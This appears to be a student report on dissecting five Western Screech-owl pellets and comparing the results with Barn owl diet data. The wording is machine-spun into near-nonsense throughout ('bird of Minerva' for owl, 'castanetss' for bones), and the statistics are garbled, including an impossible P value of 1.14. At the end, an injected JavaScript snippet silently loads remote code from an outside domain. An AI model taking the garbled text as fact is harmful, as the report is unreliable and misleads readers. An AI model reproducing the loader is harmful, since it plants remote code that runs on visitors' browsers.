survey done by Hancock Field Station in John Day Oregon on the types of nutrient that the Barn-owl chows in conformity to what they find in the bird of Minerva pellets verses what I find in five Western Screech-owl pellets. When I looked at the castanetss in the five different Screech bird of Minerva pellets, I was able to see what sort of animate beings they were from and therefore utilize these consequences against the consequences of the Barn owl prove done at Hancock Field Station. Comparing these two sets of informations will assist me reply my inquiry of how the diets of Screech bird of Minerva and Barn owls compare. Materials and Methods To happen out how the Barn bird of Minerva and the Western Screech-owl # 8217 ; s diets compare I collected owl pellets to happen out what the bird of Minerva are eating. I located Western Screech-owl pellets, but was non able to obtain any Barn bird of Minerva pellets from Eastern Oregon. In stead of Barn owl pellets, I located a survey done by the Hancock Field station in John Day refering the eating wonts of Barn owls. I so collected five Screech bird of Minerva pellets to dissect. When I finish dissecting the Western Screech-owl pellets I will hopefully be able to happen out the mean diet of a Western Screech-owl. To happen out what the bird of Minerva # 8217 ; diet utilizing the bird of Minerva pellet, the pellet must be dissected and the different castanetss and skulls examined. I used a dental choice and a brace of pincers to divide the hair and plumes from the castanetss and skulls. Once all castanetss were separated from the hair, I identified animate beings by utilizing size of bone, colour of dentitions, size of skull, and what sort of stuff surrounds the castanetss ( i.e. hair or plumes. ) Once the castanetss were identified I determined what type of animate being. Using this technique on all five Western Screech-owl pellets I was able to acquire an indicant of what the Western Screech-owl # 8217 ; s. Consequences The consequences I got were similar to the consequences the Hancock Field Station found on their experiment with Barn bird of Minerva. When my survey of the bird of Minerva pellets was complete I had two pellets that were mice, two pellets that were Vole and one pellet which was of a bird. When I studied the remains of the bird of Minerva in the pellets I identified all the castanetss that were present and came up with a decision. In pellet one I removed the followers: Number of Bones Type of Bones 1 Skull / gt ; 2 Pelvis Boness 2 Tibia with Fibula 2 Humerus 5 Lumbar Vertebrae 3 Thoracic Vertebrae 2 Cervical Vertebrae 6 Ribs 1 Xiphisternum A manner you can state that this animate being is a gnawer is by the animate being # 8217 ; s teeth being orange. Orange teeth are alone to gnawers and gnawers merely. This animate being besides had a smaller thirster and stouter skull, which ruled out Moles, Shrews and Voles. In pellet two I removed the followers: Number of Bones Type of Bones 1 Skull 1 Tibula with Fibula and Femer 2 Pelvis Boness 1 Radius Ulna 6 Lumber Vertebrae 1 Sacrum 2 Humerus 1 Femur 2 Cervical Vertebrae 3 Thoracic Vertebrae 4 Ribs 1 Radius with ulna This animate being besides had orange dentitions, but the skull was longer and dilutant. This ruled out a mouse and the orange dentition ruled out moles and termagants. The castanetss were besides bigger than a mouse so my decision was it was a Vole. In pellet three I removed the followers: Number of Bones Type of Bones 1 Keel 1 Tarsometatarus with Digits 1 Sternum 1 Tibiotarsus with Fibula and Femur 1 Claricle 1 Tibula 1 Femur 2 Wrist 1 Ulna with Radius This pellet had no skull but had a talon and a keel, which made it a bird. There were different castanetss found in this pellet than any other pellet. The different castanetss included Claricle, Carpus, Tibiotarsus, Tarsometatarus and a Keel. These castanetss ruled out any other animate being other than a bird. In pellet four I removed the followers: Number of Bones Type of Bones 1 Skull 2 Tibula with Fibula and Metatarsal 1 Pelvis Boness 1 Metacarpals 1 Tail 2 Femur 2 Humerus 2 Radius with Ulna 1 Tibia with Fibula 1 Scapula 4 Lumbar Vertebrae 5 Ribs 1 Thoracic Vertebrae The animate being in this pellet had a midst and long skull with orange dentitions. It besides had a longer tail with both pess. The orange dentition made it a gnawer and the size and form of the skull ruled out a Mole, Shrew and a Vole. After careful analysis of the castanetss and the skull I determined that the animate being whose castanetss were in this pellet was a mouse. In pellet five I removed the followers: Number of Bones Type of Bones 1 Skull 2 Tibia with Fibula 2 Pelvis Boness 2 Humerus 2 Femur 3 Lumbar Vertebrae 1 Sacrum 1 Thoracic Vertebrae 2 Cervical Vertebrae 4 Ribs 1 Radius Ulna This animate being besides had orange dentitions, but the skull was longer and dilutant. This ruled out a mouse and the orange dentition ruled out moles and termagants. The castanetss were besides bigger than a mouse so my decision was it was a Vole. When I finished placing all the castanetss I wanted to acquire a full count of what I found and how many of a idiot type of bone I found. The undermentioned chart is all my informations combined. Number of Bones Type of Bones 4 Skull 2 Tibula with Fibula and Metatarsal 7 Pelvis Boness 1 Metacarpals 1 Tail 6 Femur 8 Humerus 4 Radius with Ulna 3 Tibia with Fibula 1 Scapula 12 Lumbar Vertebrae 19 Ribs 10 Thoracic Vertebrae 6 Keel 1 Tarsometatarus with Digits 1 Sternum 1 Tibiotarsus with Fibula and Femur 1 Claricle 1 Tibula 2 Wrist 1 Ulna with Radius The Hancock Field Station surveyed 1,000 Barn-owl pellets. After dissecting them in the same manner I dissected the Western Screech-owl pellets they came up with the following informations: Type of Animal Number of Animals Vole 562 Mouse 284 Bird 154 ( Hancock Field Station ( 1999 ) A Survey in the Eating Habits of Barn-owls. Not Published ) After close rating of this information I came up with the ratio of 4:2:1 with Vole, mouse and bird severally. After I evaluated the informations given to me by Hancock Field Station I compared it to my ratio of 2:2:1 with Vole, mouse and bird severally. I used my ratio against the ratio I got from Hancock Field Station and used it in a eventuality tabular array. A eventuality tabular array is similar to a chi-square analysis, but expected informations is non required. Data is collected on two properties of the elements in a survey. When I entered my informations into a computing machine I got G = 0.707, P = 1.14, df = 5 which means that the two samples are non statistically different. Discussion When I began this experiment I wanted to cognize if the diet of Barn-owls and Western Screech-owl which both live in similar topographic points. I hypothesized that they would be similar because of the similar eating wonts of both Barn-owls and Western Screech-owls. I found that my consequences supported my hypothesis. The consequences I got were a 2:2:1 ratio with Vole, mice and birds respectfully. They compared to the trial done by Hancock Field station with the Barn bird of Minerva ; their consequences were a 4:2:1 ratio with Vole, mice and birds respectfully. My consequences do non to the full reflect the eating wonts of Screech owls that unrecorded in John Day. Due to the deficiency of bird of Minerva pellets, I was non able to acquire a full representation of what Western Screech-owls eat. To to the full stand for the eating wonts of the Screech bird of Minerva, I would necessitate 200-300 pellets. This survey is of import to happen out what the bird of Minerva in John Day Oregon eat. The consequences I got showed what the Western Screech-owls eat verses what the Barn-owls eat. Scientists need to cognize this to see if there is adequate quarry in John Day to back up both the Screech and Barn owl population. If there is a deficiency of quarry there would be competition between Barn and Screech bird of Minerva, and that might take to a lessening of one type of bird of Minerva in John Day Oregon. If there was a lessening in the owl population in John Day, it could perchance throw off the whole ecosystem in non merely John Day but besides all of Eastern Oregon. So cognizing what the Barn bird of Minerva eats verses what the Screech bird of Minerva chows is imperative in maintaining non merely the prey population but besides the ecosystem in Eastern Oregon where it should be. Ecosystems and communities within a idiot system take 100s of 1000s of old ages to develop. But if one anima te being becomes nonextant due to the fact that it has to many marauders, the branchings of the animate being # 8217 ; s extinction could last for 100s of 1000s of old ages. So it is of import to cognize how many marauders a idiot animate being has so you can do certain there is adequate quarry for the marauders. If you run out of quarry, the marauder starts to decease off and a whole prostration of the nutrient web happens and it has a immense consequence on the whole ecosystem. Some failings that occurred in my experiment were a deficiency of Western Screech-owl pellets. Some other failings might be the truth of the Hancock Field station experiment affecting the eating of Barn bird of Minerva. To to the full acquire an accurate consequence in this experiment I would necessitate to roll up 200-300 pellets from the Barn Owl and the Western Screech-owl. I would necessitate to do certain that the pellets were gathered in the same country during the same clip. I conclude that the feeding wonts of the Screech bird of Minerva and the Barn bird of Minerva are similar, but non precisely the same. Even though they might hold a similar feeding wonts could non be precisely the same. Different Owls provender on different things harmonizing to the owls size, flight velocity and oculus sight. The Barn Owl might eat more mice and Vole seeing how it nests in a barn and non out in the unfastened. The Western Screech-owl might eat more serpents and other outside animate beings. The nesting topographic point effects the eating wonts of Owls as do other factors. I can reason that they are similar, but can neer turn out they are the same. Further experimentation would be needed to acquire an perfectly accurate consequence and comparing between the Barn owls feeding wonts and the Screech owls feeding wonts ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;